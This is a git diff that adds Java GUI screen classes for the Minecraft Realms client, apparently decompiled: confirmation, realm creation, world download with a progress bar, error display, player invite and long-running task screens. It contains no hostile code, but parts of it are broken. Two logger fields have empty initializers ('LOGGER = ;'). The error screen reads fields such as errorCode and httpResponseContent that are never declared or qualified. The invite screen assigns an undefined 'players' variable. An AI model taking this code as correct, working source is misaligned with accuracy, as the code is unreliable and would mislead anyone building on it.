+    return new RealmsConfigureWorldScreen(lastScreen, serverId);
+  }
+}
diff --git a/src/minecraft/com/mojang/realmsclient/gui/screens/RealmsConfirmScreen.java b/src/minecraft/com/mojang/realmsclient/gui/screens/RealmsConfirmScreen.java
new file mode 100644
index 0000000..e2a280b
--- /dev/null
+++ b/src/minecraft/com/mojang/realmsclient/gui/screens/RealmsConfirmScreen.java
@@ -0,0 +1,75 @@
+package com.mojang.realmsclient.gui.screens;
+
+import net.minecraft.realms.RealmsButton;
+import net.minecraft.realms.RealmsScreen;
+
+public class RealmsConfirmScreen extends RealmsScreen
+{
+  protected RealmsScreen parent;
+  protected String title1;
+  private String title2;
+  protected String yesButton;
+  protected String noButton;
+  protected int id;
+  private int delayTicker;
+  
+  public RealmsConfirmScreen(RealmsScreen parent, String title1, String title2, int id)
+  {
+    this.parent = parent;
+    this.title1 = title1;
+    this.title2 = title2;
+    this.id = id;
+    
+    yesButton = getLocalizedString("gui.yes");
+    noButton = getLocalizedString("gui.no");
+  }
+  
+  public RealmsConfirmScreen(RealmsScreen parent, String title1, String title2, String yesButton, String noButton, int id) {
+    this.parent = parent;
+    this.title1 = title1;
+    this.title2 = title2;
+    this.yesButton = yesButton;
+    this.noButton = noButton;
+    this.id = id;
+  }
+  
+  public void init()
+  {
+    buttonsAdd(newButton(0, width() / 2 - 105, com.mojang.realmsclient.gui.RealmsConstants.row(9), 100, 20, yesButton));
+    buttonsAdd(newButton(1, width() / 2 + 5, com.mojang.realmsclient.gui.RealmsConstants.row(9), 100, 20, noButton));
+  }
+  
+  public void buttonClicked(RealmsButton button)
+  {
+    parent.confirmResult(button.id() == 0, id);
+  }
+  
+  public void render(int xm, int ym, float a)
+  {
+    renderBackground();
+    
+    drawCenteredString(title1, width() / 2, com.mojang.realmsclient.gui.RealmsConstants.row(3), 16777215);
+    drawCenteredString(title2, width() / 2, com.mojang.realmsclient.gui.RealmsConstants.row(5), 16777215);
+    
+    super.render(xm, ym, a);
+  }
+  
+  public void setDelay(int delay) {
+    delayTicker = delay;
+    
+    for (RealmsButton button : buttons()) {
+      button.active(false);
+    }
+  }
+  
+  public void tick()
+  {
+    super.tick();
+    
+    if (--delayTicker == 0) {
+      for (RealmsButton button : buttons()) {
+        button.active(true);
+      }
+    }
+  }
+}
diff --git a/src/minecraft/com/mojang/realmsclient/gui/screens/RealmsCreateRealmScreen.java b/src/minecraft/com/mojang/realmsclient/gui/screens/RealmsCreateRealmScreen.java
new file mode 100644
index 0000000..2f32afe
--- /dev/null
+++ b/src/minecraft/com/mojang/realmsclient/gui/screens/RealmsCreateRealmScreen.java
@@ -0,0 +1,128 @@
+package com.mojang.realmsclient.gui.screens;
+
+import com.mojang.realmsclient.RealmsMainScreen;
+import com.mojang.realmsclient.dto.RealmsServer;
+import com.mojang.realmsclient.util.RealmsTasks.WorldCreationTask;
+import net.minecraft.realms.Realms;
+import net.minecraft.realms.RealmsButton;
+import net.minecraft.realms.RealmsEditBox;
+import net.minecraft.realms.RealmsScreen;
+import org.lwjgl.input.Keyboard;
+
+
+
+
+public class RealmsCreateRealmScreen
+  extends RealmsScreen
+{
+  private final RealmsServer server;
+  private RealmsMainScreen lastScreen;
+  private RealmsEditBox nameBox;
+  private RealmsEditBox descriptionBox;
+  private static int CREATE_BUTTON = 0;
+  private static int CANCEL_BUTTON = 1;
+  private static int NAME_BOX_ID = 3;
+  private static int DESCRIPTION_BOX_ID = 4;
+  private RealmsButton createButton;
+  
+  public RealmsCreateRealmScreen(RealmsServer server, RealmsMainScreen lastScreen)
+  {
+    this.server = server;
+    this.lastScreen = lastScreen;
+  }
+  
+  public void tick()
+  {
+    nameBox.tick();
+    descriptionBox.tick();
+  }
+  
+  public void init()
+  {
+    Keyboard.enableRepeatEvents(true);
+    buttonsClear();
+    
+    buttonsAdd(this.createButton = newButton(CREATE_BUTTON, width() / 2 - 100, height() / 4 + 120 + 17, 97, 20, getLocalizedString("mco.create.world")));
+    buttonsAdd(newButton(CANCEL_BUTTON, width() / 2 + 5, height() / 4 + 120 + 17, 95, 20, getLocalizedString("gui.cancel")));
+    
+    createButton.active(false);
+    
+    nameBox = newEditBox(NAME_BOX_ID, width() / 2 - 100, 65, 200, 20);
+    nameBox.setFocus(true);
+    
+    descriptionBox = newEditBox(DESCRIPTION_BOX_ID, width() / 2 - 100, 115, 200, 20);
+  }
+  
+  public void removed()
+  {
+    Keyboard.enableRepeatEvents(false);
+  }
+  
+  public void buttonClicked(RealmsButton button)
+  {
+    if (!button.active()) { return;
+    }
+    if (button.id() == CANCEL_BUTTON) {
+      Realms.setScreen(lastScreen);
+    } else if (button.id() == CREATE_BUTTON) {
+      createWorld();
+    }
+  }
+  
+  public void keyPressed(char ch, int eventKey)
+  {
+    nameBox.keyPressed(ch, eventKey);
+    descriptionBox.keyPressed(ch, eventKey);
+    
+    createButton.active(valid());
+    
+    switch (eventKey) {
+    case 15: 
+      nameBox.setFocus(!nameBox.isFocused());
+      descriptionBox.setFocus(!descriptionBox.isFocused());
+      break;
+    case 28: 
+    case 156: 
+      buttonClicked(createButton);
+      break;
+    case 1: 
+      Realms.setScreen(lastScreen);
+    }
+  }
+  
+  private void createWorld()
+  {
+    if (valid()) {
+      RealmsResetWorldScreen resetWorldScreen = new RealmsResetWorldScreen(lastScreen, server, lastScreen.newScreen(), getLocalizedString("mco.selectServer.create"), getLocalizedString("mco.create.world.subtitle"), 10526880, getLocalizedString("mco.create.world.skip"));
+      resetWorldScreen.setResetTitle(getLocalizedString("mco.create.world.reset.title"));
+      RealmsTasks.WorldCreationTask worldCreationTask = new RealmsTasks.WorldCreationTask(server.id, nameBox.getValue(), descriptionBox.getValue(), resetWorldScreen);
+      RealmsLongRunningMcoTaskScreen longRunningMcoTaskScreen = new RealmsLongRunningMcoTaskScreen(lastScreen, worldCreationTask);
+      longRunningMcoTaskScreen.start();
+      Realms.setScreen(longRunningMcoTaskScreen);
+    }
+  }
+  
+  private boolean valid() {
+    return (nameBox.getValue() != null) && (!nameBox.getValue().trim().equals(""));
+  }
+  
+  public void mouseClicked(int x, int y, int buttonNum)
+  {
+    nameBox.mouseClicked(x, y, buttonNum);
+    descriptionBox.mouseClicked(x, y, buttonNum);
+  }
+  
+  public void render(int xm, int ym, float a)
+  {
+    renderBackground();
+    
+    drawCenteredString(getLocalizedString("mco.selectServer.create"), width() / 2, 11, 16777215);
+    drawString(getLocalizedString("mco.configure.world.name"), width() / 2 - 100, 52, 10526880);
+    drawString(getLocalizedString("mco.configure.world.description"), width() / 2 - 100, 102, 10526880);
+    
+    nameBox.render();
+    descriptionBox.render();
+    
+    super.render(xm, ym, a);
+  }
+}
diff --git a/src/minecraft/com/mojang/realmsclient/gui/screens/RealmsDownloadLatestWorldScreen.java b/src/minecraft/com/mojang/realmsclient/gui/screens/RealmsDownloadLatestWorldScreen.java
new file mode 100644
index 0000000..b545b2e
--- /dev/null
+++ b/src/minecraft/com/mojang/realmsclient/gui/screens/RealmsDownloadLatestWorldScreen.java
@@ -0,0 +1,312 @@
+package com.mojang.realmsclient.gui.screens;
+
+import com.mojang.realmsclient.client.FileDownload;
+import java.util.concurrent.locks.ReentrantLock;
+import net.minecraft.realms.Realms;
+import net.minecraft.realms.RealmsBufferBuilder;
+import net.minecraft.realms.RealmsButton;
+import net.minecraft.realms.RealmsDefaultVertexFormat;
+import net.minecraft.realms.RealmsScreen;
+import net.minecraft.realms.RealmsSharedConstants;
+import net.minecraft.realms.Tezzelator;
+import org.apache.logging.log4j.LogManager;
+import org.apache.logging.log4j.Logger;
+import org.lwjgl.opengl.GL11;
+
+public class RealmsDownloadLatestWorldScreen extends RealmsScreen
+{
+  private static final Logger LOGGER = ;
+  
+  private final RealmsScreen lastScreen;
+  
+  private final String downloadLink;
+  private RealmsButton cancelButton;
+  private final String worldName;
+  private final DownloadStatus downloadStatus;
+  private volatile String errorMessage = null;
+  private volatile String status = null;
+  private volatile String progress = null;
+  private volatile boolean cancelled = false;
+  private volatile boolean showDots = true;
+  private volatile boolean finished = false;
+  private volatile boolean extracting = false;
+  
+  private Long previousWrittenBytes = null;
+  private Long previousTimeSnapshot = null;
+  private long bytesPersSecond = 0L;
+  
+  private int animTick = 0;
+  private static final String[] DOTS = { "", ".", ". .", ". . ." };
+  private int dotIndex = 0;
+  
+  private final int WARNING_ID = 100;
+  
+  private boolean checked = false;
+  private static final ReentrantLock downloadLock = new ReentrantLock();
+  
+  public RealmsDownloadLatestWorldScreen(RealmsScreen lastScreen, String downloadLink, String worldName) {
+    this.lastScreen = lastScreen;
+    this.worldName = worldName;
+    this.downloadLink = downloadLink;
+    downloadStatus = new DownloadStatus();
+  }
+  
+  public void init()
+  {
+    org.lwjgl.input.Keyboard.enableRepeatEvents(true);
+    buttonsClear();
+    buttonsAdd(this.cancelButton = newButton(0, width() / 2 - 100, height() - 42, 200, 20, getLocalizedString("gui.cancel")));
+    checkDownloadSize();
+  }
+  
+  private void checkDownloadSize() {
+    if (finished) {
+      return;
+    }
+    
+    if ((!checked) && (getContentLength(downloadLink) >= 1048576000L)) {
+      String line1 = getLocalizedString("mco.download.confirmation.line1", new Object[] { humanReadableSize(1048576000L) });
+      String line2 = getLocalizedString("mco.download.confirmation.line2");
+      Realms.setScreen(new RealmsLongConfirmationScreen(this, RealmsLongConfirmationScreen.Type.Warning, line1, line2, false, 100));
+    } else {
+      downloadSave();
+    }
+  }
+  
+  public void confirmResult(boolean result, int id)
+  {
+    checked = true;
+    Realms.setScreen(this);
+    downloadSave();
+  }
+  
+  private long getContentLength(String downloadLink) {
+    FileDownload fileDownload = new FileDownload();
+    return fileDownload.contentLength(downloadLink);
+  }
+  
+
+  public void tick()
+  {
+    super.tick();
+    
+    animTick += 1;
+  }
+  
+
+  public void buttonClicked(RealmsButton button)
+  {
+    if (!button.active()) {
+      return;
+    }
+    
+    if (button.id() == 0) {
+      cancelled = true;
+      backButtonClicked();
+    }
+  }
+  
+  public void keyPressed(char ch, int eventKey)
+  {
+    if (eventKey == 1) {
+      cancelled = true;
+      backButtonClicked();
+    }
+  }
+  
+  private void backButtonClicked() {
+    Realms.setScreen(lastScreen);
+  }
+  
+
+  public void render(int xm, int ym, float a)
+  {
+    renderBackground();
+    
+    if ((extracting) && (!finished)) {
+      status = getLocalizedString("mco.download.extracting");
+    }
+    
+    drawCenteredString(getLocalizedString("mco.download.title"), width() / 2, 20, 16777215);
+    
+    drawCenteredString(status, width() / 2, 50, 16777215);
+    
+    if (showDots) {
+      drawDots();
+    }
+    
+    if ((downloadStatus.bytesWritten.longValue() != 0L) && (!cancelled)) {
+      drawProgressBar();
+      drawDownloadSpeed();
+    }
+    
+    if (errorMessage != null) {
+      drawCenteredString(errorMessage, width() / 2, 110, 16711680);
+    }
+    
+    super.render(xm, ym, a);
+  }
+  
+  private void drawDots() {
+    int statusWidth = fontWidth(status);
+    if (animTick % 10 == 0) {
+      dotIndex += 1;
+    }
+    drawString(DOTS[(dotIndex % DOTS.length)], width() / 2 + statusWidth / 2 + 5, 50, 16777215);
+  }
+  
+  private void drawProgressBar() {
+    double percentage = downloadStatus.bytesWritten.doubleValue() / downloadStatus.totalBytes.doubleValue() * 100.0D;
+    progress = String.format("%.1f", new Object[] { Double.valueOf(percentage) });
+    
+    GL11.glColor4f(1.0F, 1.0F, 1.0F, 1.0F);
+    GL11.glDisable(3553);
+    Tezzelator t = Tezzelator.instance;
+    t.begin(7, RealmsDefaultVertexFormat.POSITION_COLOR);
+    
+    double base = width() / 2 - 100;
+    double diff = 0.5D;
+    
+    t.vertex(base - 0.5D, 95.5D, 0.0D).color(217, 210, 210, 255).endVertex();
+    t.vertex(base + 200.0D * percentage / 100.0D + 0.5D, 95.5D, 0.0D).color(217, 210, 210, 255).endVertex();
+    t.vertex(base + 200.0D * percentage / 100.0D + 0.5D, 79.5D, 0.0D).color(217, 210, 210, 255).endVertex();
+    t.vertex(base - 0.5D, 79.5D, 0.0D).color(217, 210, 210, 255).endVertex();
+    
+    t.vertex(base, 95.0D, 0.0D).color(128, 128, 128, 255).endVertex();
+    t.vertex(base + 200.0D * percentage / 100.0D, 95.0D, 0.0D).color(128, 128, 128, 255).endVertex();
+    t.vertex(base + 200.0D * percentage / 100.0D, 80.0D, 0.0D).color(128, 128, 128, 255).endVertex();
+    t.vertex(base, 80.0D, 0.0D).color(128, 128, 128, 255).endVertex();
+    
+    t.end();
+    GL11.glEnable(3553);
+    
+    drawCenteredString(progress + " %", width() / 2, 84, 16777215);
+  }
+  
+  private void drawDownloadSpeed() {
+    if (animTick % RealmsSharedConstants.TICKS_PER_SECOND == 0) {
+      if (previousWrittenBytes != null) {
+        long timeElapsed = System.currentTimeMillis() - previousTimeSnapshot.longValue();
+        if (timeElapsed == 0L) {
+          timeElapsed = 1L;
+        }
+        bytesPersSecond = (1000L * (downloadStatus.bytesWritten.longValue() - previousWrittenBytes.longValue()) / timeElapsed);
+        drawDownloadSpeed0(bytesPersSecond);
+      }
+      previousWrittenBytes = downloadStatus.bytesWritten;
+      previousTimeSnapshot = Long.valueOf(System.currentTimeMillis());
+    } else {
+      drawDownloadSpeed0(bytesPersSecond);
+    }
+  }
+  
+  private void drawDownloadSpeed0(long bytesPersSecond) {
+    if (bytesPersSecond > 0L) {
+      int progressLength = fontWidth(progress);
+      String stringPresentation = "(" + humanReadableSpeed(bytesPersSecond) + ")";
+      drawString(stringPresentation, width() / 2 + progressLength / 2 + 15, 84, 16777215);
+    }
+  }
+  
+  public static String humanReadableSpeed(long bytes) {
+    int unit = 1024;
+    if (bytes < unit) return bytes + " B";
+    int exp = (int)(Math.log(bytes) / Math.log(unit));
+    String pre = "KMGTPE".charAt(exp - 1) + "";
+    return String.format("%.1f %sB/s", new Object[] { Double.valueOf(bytes / Math.pow(unit, exp)), pre });
+  }
+  
+  public static String humanReadableSize(long bytes) {
+    int unit = 1024;
+    if (bytes < unit) return bytes + " B";
+    int exp = (int)(Math.log(bytes) / Math.log(unit));
+    String pre = "KMGTPE".charAt(exp - 1) + "";
+    return String.format("%.0f %sB", new Object[] { Double.valueOf(bytes / Math.pow(unit, exp)), pre });
+  }
+  
+
+  public void mouseEvent()
+  {
+    super.mouseEvent();
+  }
+  
+  private void downloadSave() {
+    new Thread()
+    {
+      public void run() {
+        try {
+          if (!RealmsDownloadLatestWorldScreen.downloadLock.tryLock(1L, java.util.concurrent.TimeUnit.SECONDS)) {
+            return;
+          }
+          
+          status = RealmsScreen.getLocalizedString("mco.download.preparing");
+          
+          if (cancelled) {
+            RealmsDownloadLatestWorldScreen.this.downloadCancelled();
+          }
+          else
+          {
+            status = RealmsScreen.getLocalizedString("mco.download.downloading", new Object[] { worldName });
+            
+            FileDownload fileDownload = new FileDownload();
+            fileDownload.contentLength(downloadLink);
+            fileDownload.download(downloadLink, worldName, downloadStatus, getLevelStorageSource());
+            
+            while (!fileDownload.isFinished()) {
+              if (fileDownload.isError()) {
+                fileDownload.cancel();
+                errorMessage = RealmsScreen.getLocalizedString("mco.download.failed");
+                cancelButton.msg(RealmsScreen.getLocalizedString("gui.done")); return;
+              }
+              
+              if (fileDownload.isExtracting()) {
+                extracting = true;
+              }
+              if (cancelled) {
+                fileDownload.cancel();
+                RealmsDownloadLatestWorldScreen.this.downloadCancelled(); return;
+              }
+              try
+              {
+                Thread.sleep(500L);
+              } catch (InterruptedException e) {
+                RealmsDownloadLatestWorldScreen.LOGGER.error("Failed to check Realms backup download status");
+              }
+            }
+            
+            finished = true;
+            status = RealmsScreen.getLocalizedString("mco.download.done");
+            cancelButton.msg(RealmsScreen.getLocalizedString("gui.done"));
+          }
+        } catch (InterruptedException e) {
+          RealmsDownloadLatestWorldScreen.LOGGER.error("Could not acquire upload lock");
+        } catch (Exception e) {
+          errorMessage = RealmsScreen.getLocalizedString("mco.download.failed");
+          e.printStackTrace();
+        } finally {
+          if (!RealmsDownloadLatestWorldScreen.downloadLock.isHeldByCurrentThread()) {
+            return;
+          }
+          RealmsDownloadLatestWorldScreen.downloadLock.unlock();
+          
+
+          showDots = false;
+          buttonsRemove(cancelButton);
+          finished = true;
+        }
+      }
+    }.start();
+  }
+  
+  private void downloadCancelled() {
+    status = getLocalizedString("mco.download.cancelled");
+  }
+  
+  public class DownloadStatus
+  {
+    public volatile Long bytesWritten = Long.valueOf(0L);
+    public volatile Long totalBytes = Long.valueOf(0L);
+    
+    public DownloadStatus() {}
+  }
+}
diff --git a/src/minecraft/com/mojang/realmsclient/gui/screens/RealmsGenericErrorScreen.java b/src/minecraft/com/mojang/realmsclient/gui/screens/RealmsGenericErrorScreen.java
new file mode 100644
index 0000000..cee7223
--- /dev/null
+++ b/src/minecraft/com/mojang/realmsclient/gui/screens/RealmsGenericErrorScreen.java
@@ -0,0 +1,93 @@
+package com.mojang.realmsclient.gui.screens;
+
+import com.mojang.realmsclient.exception.RealmsServiceException;
+import net.minecraft.realms.Realms;
+import net.minecraft.realms.RealmsButton;
+import net.minecraft.realms.RealmsScreen;
+
+
+
+public class RealmsGenericErrorScreen
+  extends RealmsScreen
+{
+  private final RealmsScreen nextScreen;
+  private static final int OK_BUTTON_ID = 10;
+  private String line1;
+  private String line2;
+  
+  public RealmsGenericErrorScreen(RealmsServiceException realmsServiceException, RealmsScreen nextScreen)
+  {
+    this.nextScreen = nextScreen;
+    errorMessage(realmsServiceException);
+  }
+  
+  public RealmsGenericErrorScreen(String message, RealmsScreen nextScreen)
+  {
+    this.nextScreen = nextScreen;
+    errorMessage(message);
+  }
+  
+  public RealmsGenericErrorScreen(String title, String message, RealmsScreen nextScreen)
+  {
+    this.nextScreen = nextScreen;
+    errorMessage(title, message);
+  }
+  
+  private void errorMessage(RealmsServiceException realmsServiceException) {
+    if (errorCode != -1) {
+      line1 = ("Realms (" + errorCode + "):");
+      String translationKey = "mco.errorMessage." + errorCode;
+      String translated = getLocalizedString(translationKey);
+      line2 = (translated.equals(translationKey) ? errorMsg : translated);
+    } else {
+      line1 = ("An error occurred (" + httpResultCode + "):");
+      line2 = httpResponseContent;
+    }
+  }
+  
+  private void errorMessage(String message) {
+    line1 = "An error occurred: ";
+    line2 = message;
+  }
+  
+  private void errorMessage(String title, String message) {
+    line1 = title;
+    line2 = message;
+  }
+  
+  public void init()
+  {
+    buttonsClear();
+    
+    buttonsAdd(newButton(10, width() / 2 - 100, height() - 52, 200, 20, "Ok"));
+  }
+  
+  public void tick()
+  {
+    super.tick();
+  }
+  
+  public void buttonClicked(RealmsButton button)
+  {
+    if (button.id() == 10) {
+      Realms.setScreen(nextScreen);
+    }
+  }
+  
+  public void render(int xm, int ym, float a)
+  {
+    renderBackground();
+    
+
+
+
+
+
+
+
+    drawCenteredString(line1, width() / 2, 80, 16777215);
+    drawCenteredString(line2, width() / 2, 100, 16711680);
+    
+    super.render(xm, ym, a);
+  }
+}
diff --git a/src/minecraft/com/mojang/realmsclient/gui/screens/RealmsInviteScreen.java b/src/minecraft/com/mojang/realmsclient/gui/screens/RealmsInviteScreen.java
new file mode 100644
index 0000000..be0333b
--- /dev/null
+++ b/src/minecraft/com/mojang/realmsclient/gui/screens/RealmsInviteScreen.java
@@ -0,0 +1,145 @@
+package com.mojang.realmsclient.gui.screens;
+
+import com.mojang.realmsclient.client.RealmsClient;
+import com.mojang.realmsclient.dto.RealmsServer;
+import com.mojang.realmsclient.gui.RealmsConstants;
+import net.minecraft.realms.Realms;
+import net.minecraft.realms.RealmsButton;
+import net.minecraft.realms.RealmsEditBox;
+import net.minecraft.realms.RealmsScreen;
+import org.apache.logging.log4j.Logger;
+import org.lwjgl.input.Keyboard;
+
+public class RealmsInviteScreen extends RealmsScreen
+{
+  private static final Logger LOGGER = ;
+  
+  private RealmsEditBox profileName;
+  
+  private RealmsServer serverData;
+  
+  private final RealmsConfigureWorldScreen configureScreen;
+  private final RealmsScreen lastScreen;
+  private final int BUTTON_INVITE_ID = 0;
+  private final int BUTTON_CANCEL_ID = 1;
+  
+  private RealmsButton inviteButton;
+  
+  private final int PROFILENAME_EDIT_BOX = 2;
+  
+  private String errorMsg;
+  private boolean showError;
+  
+  public RealmsInviteScreen(RealmsConfigureWorldScreen configureScreen, RealmsScreen lastScreen, RealmsServer serverData)
+  {
+    this.configureScreen = configureScreen;
+    this.lastScreen = lastScreen;
+    this.serverData = serverData;
+  }
+  
+  public void tick()
+  {
+    profileName.tick();
+  }
+  
+  public void init()
+  {
+    Keyboard.enableRepeatEvents(true);
+    buttonsClear();
+    buttonsAdd(this.inviteButton = newButton(0, width() / 2 - 100, RealmsConstants.row(10), getLocalizedString("mco.configure.world.buttons.invite")));
+    buttonsAdd(newButton(1, width() / 2 - 100, RealmsConstants.row(12), getLocalizedString("gui.cancel")));
+    
+    profileName = newEditBox(2, width() / 2 - 100, RealmsConstants.row(2), 200, 20);
+    profileName.setFocus(true);
+  }
+  
+  public void removed()
+  {
+    Keyboard.enableRepeatEvents(false);
+  }
+  
+  public void buttonClicked(RealmsButton button)
+  {
+    if (!button.active()) {
+      return;
+    }
+    
+    switch (button.id()) {
+    case 1: 
+      Realms.setScreen(lastScreen);
+      break;
+    case 0: 
+      RealmsClient client = RealmsClient.createRealmsClient();
+      
+      if ((profileName.getValue() == null) || (profileName.getValue().isEmpty())) {
+        return;
+      }
+      try
+      {
+        RealmsServer realmsServer = client.invite(serverData.id, profileName.getValue());
+        
+        if (realmsServer != null) {
+          serverData.players = players;
+          Realms.setScreen(new RealmsPlayerScreen(configureScreen, serverData));
+        } else {
+          showError(getLocalizedString("mco.configure.world.players.error"));
+        }
+      } catch (Exception e) {
+        LOGGER.error("Couldn't invite user");
+        showError(getLocalizedString("mco.configure.world.players.error"));
+      }
+    }
+    
+  }
+  
+
+  private void showError(String errorMsg)
+  {
+    showError = true;
+    this.errorMsg = errorMsg;
+  }
+  
+  public void keyPressed(char ch, int eventKey)
+  {
+    profileName.keyPressed(ch, eventKey);
+    
+    if (eventKey == 15) {
+      if (profileName.isFocused()) {
+        profileName.setFocus(false);
+      } else {
+        profileName.setFocus(true);
+      }
+    }
+    
+    if ((eventKey == 28) || (eventKey == 156)) {
+      buttonClicked(inviteButton);
+    }
+    
+    if (eventKey == 1) {
+      Realms.setScreen(lastScreen);
+    }
+  }
+  
+
+  public void mouseClicked(int x, int y, int buttonNum)
+  {
+    super.mouseClicked(x, y, buttonNum);
+    
+    profileName.mouseClicked(x, y, buttonNum);
+  }
+  
+  public void render(int xm, int ym, float a)
+  {
+    renderBackground();
+    
+    drawString(getLocalizedString("mco.configure.world.invite.profile.name"), width() / 2 - 100, RealmsConstants.row(1), 10526880);
+    
+    if (showError) {
+      drawCenteredString(errorMsg, width() / 2, RealmsConstants.row(5), 16711680);
+    }
+    
+    profileName.render();
+    
+    super.render(xm, ym, a);
+  }
+}
diff --git a/src/minecraft/com/mojang/realmsclient/gui/screens/RealmsLongConfirmationScreen.java b/src/minecraft/com/mojang/realmsclient/gui/screens/RealmsLongConfirmationScreen.java
new file mode 100644
index 0000000..d1d6284
--- /dev/null
+++ b/src/minecraft/com/mojang/realmsclient/gui/screens/RealmsLongConfirmationScreen.java
@@ -0,0 +1,80 @@
+package com.mojang.realmsclient.gui.screens;
+
+import com.mojang.realmsclient.gui.RealmsConstants;
+import net.minecraft.realms.RealmsButton;
+import net.minecraft.realms.RealmsScreen;
+
+
+public class RealmsLongConfirmationScreen
+  extends RealmsScreen
+{
+  private final Type type;
+  private final String line2;
+  private final String line3;
+  protected final RealmsScreen parent;
+  protected final String yesButton;
+  protected final String noButton;
+  private final String okButton;
+  protected final int id;
+  private final boolean yesNoQuestion;
+  
+  public RealmsLongConfirmationScreen(RealmsScreen parent, Type type, String line2, String line3, boolean yesNoQuestion, int id)
+  {
+    this.parent = parent;
+    this.id = id;
+    this.type = type;
+    this.line2 = line2;
+    this.line3 = line3;
+    this.yesNoQuestion = yesNoQuestion;
+    yesButton = getLocalizedString("gui.yes");
+    noButton = getLocalizedString("gui.no");
+    okButton = getLocalizedString("mco.gui.ok");
+  }
+  
+  public void init()
+  {
+    if (yesNoQuestion) {
+      buttonsAdd(newButton(0, width() / 2 - 105, RealmsConstants.row(8), 100, 20, yesButton));
+      buttonsAdd(newButton(1, width() / 2 + 5, RealmsConstants.row(8), 100, 20, noButton));
+    } else {
+      buttonsAdd(newButton(0, width() / 2 - 50, RealmsConstants.row(8), 100, 20, okButton));
+    }
+  }
+  
+  public void buttonClicked(RealmsButton button)
+  {
+    parent.confirmResult(button.id() == 0, id);
+  }
+  
+  public void keyPressed(char eventCharacter, int eventKey)
+  {
+    if (eventKey == 1) {
+      parent.confirmResult(false, id);
+    }
+  }
+  
+  public void render(int xm, int ym, float a)
+  {
+    renderBackground();
+    
+    drawCenteredString(type.text, width() / 2, RealmsConstants.row(2), type.colorCode);
+    drawCenteredString(line2, width() / 2, RealmsConstants.row(4), 16777215);
+    
+    drawCenteredString(line3, width() / 2, RealmsConstants.row(6), 16777215);
+    
+    super.render(xm, ym, a);
+  }
+  
+  public static enum Type {
+    Warning("Warning!", 16711680), 
+    Info("Info!", 8226750);
+    
+    private Type(String text, int colorCode) {
+      this.text = text;
+      this.colorCode = colorCode;
+    }
+    
+    public final int colorCode;
+    public final String text;
+  }
+}
diff --git a/src/minecraft/com/mojang/realmsclient/gui/screens/RealmsLongRunningMcoTaskScreen.java b/src/minecraft/com/mojang/realmsclient/gui/screens/RealmsLongRunningMcoTaskScreen.java
new file mode 100644
index 0000000..15d46a0
--- /dev/null
+++ b/src/minecraft/com/mojang/realmsclient/gui/screens/RealmsLongRunningMcoTaskScreen.java
@@ -0,0 +1,110 @@
+package com.mojang.realmsclient.gui.screens;
+
+import com.mojang.realmsclient.gui.ErrorCallback;
+import com.mojang.realmsclient.gui.LongRunningTask;
+import com.mojang.realmsclient.gui.RealmsConstants;
+import net.minecraft.realms.Realms;
+import net.minecraft.realms.RealmsButton;
+import net.minecraft.realms.RealmsScreen;
+
+public class RealmsLongRunningMcoTaskScreen
+  extends RealmsScreen implements ErrorCallback
+{
+  private final int BUTTON_CANCEL_ID = 666;
+  private final int BUTTON_BACK_ID = 667;
+  
+  private final RealmsScreen lastScreen;
+  
+  private final LongRunningTask taskThread;
+  private volatile String title = "";
+  
+  private volatile boolean error;
+  
+  private volatile String errorMessage;
+  private volatile boolean aborted;
+  private int animTicks;
+  private LongRunningTask task;
+  private int buttonLength = 212;
+  
+  public RealmsLongRunningMcoTaskScreen(RealmsScreen lastScreen, LongRunningTask task) {
+    this.lastScreen = lastScreen;
+    this.task = task;
+    task.setScreen(this);
+    taskThread = task;
+  }
+  
+  public void start() {
+    new Thread(taskThread, "Realms-long-running-task").start();
+  }
+  
+  public void tick()
+  {
+    super.tick();
+    
+    animTicks += 1;
+    task.tick();
+  }
+  
+  public void keyPressed(char eventCharacter, int eventKey)
+  {
+    if (eventKey == 1) {
+      cancelOrBackButtonClicked();
+    }
+  }
+  
+  public void init()
+  {
+    task.init();
+    
+    buttonsAdd(newButton(666, width() / 2 - buttonLength / 2, RealmsConstants.row(12), buttonLength, 20, getLocalizedString("gui.cancel")));
+  }
+  
+
+  public void buttonClicked(RealmsButton button)
+  {
+    if ((button.id() == 666) || (button.id() == 667)) {
+      cancelOrBackButtonClicked();
+    }
+    
+    task.buttonClicked(button);
+  }
+  
+  private void cancelOrBackButtonClicked() {
+    aborted = true;
+    task.abortTask();
+    Realms.setScreen(lastScreen);
+  }
+  
+  public void render(int xm, int ym, float a)
+  {
+    renderBackground();
+    
+    drawCenteredString(title, width() / 2, RealmsConstants.row(3), 16777215);
+    
+
+    if (!error) { drawCenteredString(symbols[(animTicks % symbols.length)], width() / 2, RealmsConstants.row(8), 8421504);
+    }
+    if (error) { drawCenteredString(errorMessage, width() / 2, RealmsConstants.row(8), 16711680);
+    }
+    super.render(xm, ym, a);
+  }
+  
+  public void error(String errorMessage)
+  {
+    error = true;
+    this.errorMessage = errorMessage;
+    buttonsClear();
+    buttonsAdd(newButton(667, width() / 2 - buttonLength / 2, height() / 4 + 120 + 12, getLocalizedString("gui.back")));
+  }
+  
+  public void setTitle(String title) {
+    this.title = title;
+  }
+  
+  public boolean aborted() {
+    return aborted;
+  }
+  
+
+  public static final String[] symbols = { "▃ ▄ ▅ ▆ ▇ █ ▇ ▆ ▅ ▄ ▃", "_ ▃ ▄ ▅ ▆ ▇ █ ▇ ▆ ▅ ▄", "_ _ ▃ ▄ ▅ ▆ ▇ █ ▇ ▆ ▅", "_ _ _ ▃ ▄ ▅ ▆ ▇ █ ▇ ▆", "_ _ _ _ ▃ ▄ ▅ ▆ ▇ █ ▇", "_ _ _ _ _ ▃ ▄ ▅ ▆ ▇ █", "_ _ _ _ ▃ ▄ ▅ ▆ ▇ █ ▇", "_ _ _ ▃ ▄ ▅ ▆ ▇ █ ▇ ▆", "_ _ ▃ ▄ ▅ ▆ ▇ █ ▇ ▆ ▅", "_ ▃ ▄ ▅ ▆ ▇ █ ▇ ▆ ▅ ▄", "▃ ▄ ▅ ▆ ▇ █ ▇ ▆ ▅ ▄ ▃", "▄ ▅ ▆ ▇ █ ▇ ▆ ▅ ▄ ▃ _", "▅ ▆ ▇ █ ▇ ▆ ▅ ▄ ▃ _ _", "▆ ▇ █ ▇ ▆ ▅ ▄ ▃ _ _ _", "▇ █ ▇ ▆ ▅ ▄ ▃ _ _ _ _", "█ ▇ ▆ ▅ ▄ ▃ _ _ _ _ _", "▇ █ ▇ ▆ ▅ ▄ ▃ _ _ _ _", "▆ ▇ █ ▇ ▆ ▅ ▄ ▃ _ _ _", "▅ ▆ ▇ █ ▇ ▆ ▅ ▄ ▃ _ _", "▄ ▅ ▆ ▇ █ ▇ ▆ ▅ ▄ ▃ _" };
+}
